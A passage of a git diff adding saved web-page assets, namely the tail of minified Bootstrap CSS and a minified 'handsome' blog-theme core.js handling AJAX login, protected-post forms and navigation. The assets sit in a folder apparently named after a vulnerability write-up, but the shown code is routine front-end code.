"}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}.center-block{display:block;margin-right:auto;margin-left:auto}.pull-right{float:right!important}.pull-left{float:left!important}.hide{display:none!important}.show{display:block!important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none!important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-lg,.visible-md,.visible-sm,.visible-xs{display:none!important}.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block{display:none!important}@media (max-width:767px){.visible-xs{display:block!important}table.visible-xs{display:table}tr.visible-xs{display:table-row!important}td.visible-xs,th.visible-xs{display:table-cell!important}}@media (max-width:767px){.visible-xs-block{display:block!important}}@media (max-width:767px){.visible-xs-inline{display:inline!important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block!important}}@media (min-width:768px)and (max-width:991px){.visible-sm{display:block!important}table.visible-sm{display:table}tr.visible-sm{display:table-row!important}td.visible-sm,th.visible-sm{display:table-cell!important}}@media (min-width:768px)and (max-width:991px){.visible-sm-block{display:block!important}}@media (min-width:768px)and (max-width:991px){.visible-sm-inline{display:inline!important}}@media (min-width:768px)and (max-width:991px){.visible-sm-inline-block{display:inline-block!important}}@media (min-width:992px)and (max-width:1199px){.visible-md{display:block!important}table.visible-md{display:table}tr.visible-md{display:table-row!important}td.visible-md,th.visible-md{display:table-cell!important}}@media (min-width:992px)and (max-width:1199px){.visible-md-block{display:block!important}}@media (min-width:992px)and (max-width:1199px){.visible-md-inline{display:inline!important}}@media (min-width:992px)and (max-width:1199px){.visible-md-inline-block{display:inline-block!important}}@media (min-width:1200px){.visible-lg{display:block!important}table.visible-lg{display:table}tr.visible-lg{display:table-row!important}td.visible-lg,th.visible-lg{display:table-cell!important}}@media (min-width:1200px){.visible-lg-block{display:block!important}}@media (min-width:1200px){.visible-lg-inline{display:inline!important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block!important}}@media (max-width:767px){.hidden-xs{display:none!important}}@media (min-width:768px)and (max-width:991px){.hidden-sm{display:none!important}}@media (min-width:992px)and (max-width:1199px){.hidden-md{display:none!important}}@media (min-width:1200px){.hidden-lg{display:none!important}}.visible-print{display:none!important}@media print{.visible-print{display:block!important}table.visible-print{display:table}tr.visible-print{display:table-row!important}td.visible-print,th.visible-print{display:table-cell!important}}.visible-print-block{display:none!important}@media print{.visible-print-block{display:block!important}}.visible-print-inline{display:none!important}@media print{.visible-print-inline{display:inline!important}}.visible-print-inline-block{display:none!important}@media print{.visible-print-inline-block{display:inline-block!important}}@media print{.hidden-print{display:none!important}} \ No newline at end of file diff --git "a/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/core.js" "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/core.js" new file mode 100644 index 0000000..f38c069 --- /dev/null +++ "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/core.js" @@ -0,0 +1,4 @@ +/*! handsome 2020-08-15 */ + +var handsome_ajax={init:function(){this.login_ajax(),this.initAndPjax_Complete()},pjax_complete:function(){this.initAndPjax_Complete()},initAndPjax_Complete:function(){this.password_post_ajax()},login_ajax:function(){function a(){$("#login-submit").attr("disabled",!1).fadeTo("",1)}$("#Login_form").submit(function(){if($(this).hasClass("banLogin"))return location.reload(),!1;$("#login-submit").attr("disabled",!0).fadeTo("slow",.5);var b=$("#navbar-login-user").val(),c=$("#navbar-login-password").val();return""==b?($.message({title:LocalConst.LOGIN_TITLE,message:LocalConst.LOGIN_USERNAME_INFO,type:"warning"}),$("#navbar-login-user").focus(),a(),!1):""==c?($.message({title:LocalConst.LOGIN_TITLE,message:LocalConst.LOGIN_PASSWORD_INFO,type:"warning"}),$("#navbar-login-password").focus(),a(),!1):($("#login-submit").addClass("active"),$("#spin-login").addClass("show inline"),$.ajax({url:$(this).attr("action"),type:$(this).attr("method"),data:$(this).serializeArray(),error:function(){return $.message({title:LocalConst.LOGIN_TITLE,message:LocalConst.LOGIN_SUBMIT_ERROR,type:"error"}),a(),!1},success:function(b){b=$.parseHTML(b),$("#login-submit").removeClass("active"),$("#spin-login").removeClass("show inline");try{if($("#Logged-in",b).length<=0)return $.message({title:LocalConst.LOGIN_TITLE,message:LocalConst.LOGIN_SUBMIT_INFO,type:"error"}),a(),!1;b=$("#easyLogin",b).html(),$("#easyLogin").html(b),$.message({title:LocalConst.LOGIN_TITLE,message:LocalConst.LOGIN_SUBMIT_SUCCESS+' '+LocalConst.CLICK_TO_REFRESH+"",type:"success"})}catch(a){alert("按下F12,查看输出错误信息")}}}),!1)})},password_post_ajax:function(){$("#post-content").delegate("form.protected","submit",function(){return $.ajax({url:$(this).attr("action"),type:$(this).attr("method"),data:$(this).serializeArray(),error:function(a){try{if($("#post-content",data).length<=0)return $.message({title:"提交通知",message:LocalConst.SUBMIT_PASSWORD_INFO,type:"warning"}),!1;window.location.reload()}catch(a){window.location.reload(),console.log(a)}},success:function(a){try{if($("#post-content",a).length<=0)return $.message({title:"提交通知",message:LocalConst.SUBMIT_PASSWORD_INFO,type:"warning"}),!1;window.location.reload()}catch(a){console.log(a),window.location.reload()}}}),!1})}};const handsome_basics={init:function(){this.nav_handle(),this.searchTips(),this.initAndPjax_Complete()},pjax_complete:function(){this.initAndPjax_Complete()},initAndPjax_Complete:function(){},nav_handle:function(){var a=navigator.userAgent;a.indexOf("Safari")>-1&&a.indexOf("Chrome")<1&&$("#left_footer").addClass("hide"),$(document).on("click","[ui-toggle-class]",function(a){a.preventDefault();var b=$(a.target);b.attr("ui-toggle-class")||(b=b.closest("[ui-toggle-class]"));var c=b.attr("ui-toggle-class").split(","),d=b.attr("target")&&b.attr("target").split(",")||Array(b),e=0;$.each(c,function(a,b){var f=d[d.length&&e];$(f).toggleClass(c[a]),e++}),b.toggleClass("active")}),$(document).on("click","[data-toggle-class]",function(a){a.preventDefault();var b=$(this),c=b.data("toggle-class"),d={};$.each(c.split(","),function(){var a=$.trim(this);if(a){var b=a.split("="),c=b[0],e=b[1];d[c]=e}}),$.each(d,function(a,b){$(a).toggleClass(b)})});var b;$(document).on("click","[ui-nav] a .parent_name",function(a){var b=document.createElement("a");b.setAttribute("href",$(this).parent("a").attr("href")),document.body.appendChild(b),b.click()}),$(document).on("click","[ui-nav] a,[ui-nav-fold] a",function(a){b&&b.trigger("mouseleave.nav");var c=$(this);if(c.parent().siblings(".active").toggleClass("active"),c.next().is("ul")&&c.parent().toggleClass("active")&&a.preventDefault(),$(".app-aside-fix").length>0&&$(window).width()>768){var d,c=$(a.target),e=$(window).height();c.is("a")&&c.next().is(".child-nav")&&(b=c.parent().parent()),$(".app-aside-folded").length&&b&&(d=b.position().top,d+b.height()>=e&&b.css("bottom","50px"),d+150>e&&b.css("bottom",e-d-50).css("top","auto")),$(".app-aside-dock").length&&$(window).width()>991&&(console.log("重新计算:click"),console.log("height:"+b.height()+"w_h:"+e+"end:"+(e-115)),120+b.height()>=e?(console.log("height:"+b.height()+"w_h:"+e+"end:"+(e-115)),b.height(e-120)):(console.log("height:"+b.height()+"w_h:"+e+"end:"+(e-115)),b.css("height","auto")))}c.next().is("ul")||$(window).width()<768&&$(".off-screen").removeClass("show off-screen")});var c=!0;$(document).on("mouseenter","[ui-nav] a",function(a){if($(document).on("mouseenter",".app-aside>ul.nav",function(a){c=!0}),$(document).on("mouseleave",".app-aside>ul.nav",function(a){c=!1}),b&&b.trigger("mouseleave.nav"),$("> .nav",$(".app-aside")).remove(),$(".app-aside-fix").length&&!($(window).width()<768)){var d,e=$(a.target),f=$(window).height();!e.is("a")&&(e=e.closest("a")),e.next().is("ul")&&(b=e.next(),$(".app-aside-folded").length&&(e.parent().addClass("active"),b.appendTo(".app-aside"),d=e.parent().position().top,b.css("top",d),b.attr("ui-nav-fold",""),d+b.height()>f&&b.css("bottom","50px"),d+150>f&&b.css("bottom",f-d-50).css("top","auto"),b.on("mouseleave.nav",function(a){c||(b.appendTo(e.parent()),b.off("mouseleave.nav").css("top","auto").css("bottom","auto"),e.parent().removeClass("active"),c=!1)}),$(".smart").length&&$('